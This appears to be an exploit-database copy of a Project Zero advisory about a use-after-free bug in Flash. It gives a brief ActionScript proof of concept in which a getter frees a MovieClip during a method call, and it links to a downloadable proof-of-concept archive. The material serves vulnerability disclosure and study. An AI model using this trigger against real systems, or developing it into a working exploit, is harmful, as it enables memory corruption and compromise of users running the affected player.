20 lines
No EOL
603 B
Text
20 lines
No EOL
603 B
Text
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=846
|
|
|
|
If a method is called on a MovieClip, and a getter is set with the name of the method, the getter will get executed during the call, and can free the MovieClip, leading to a user-after-free. A minimal PoC is as follows:
|
|
|
|
var mc = this.createEmptyMovieClip( "mc", 1);
|
|
mc.addProperty( "f", func, func );
|
|
mc.f("hello");
|
|
|
|
function func(){
|
|
|
|
mc.removeMovieClip();
|
|
// Fix heap
|
|
var d:Date = new Date();
|
|
return d.getDate;
|
|
|
|
}
|
|
|
|
|
|
Proof of Concept:
|
|
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40356.zip |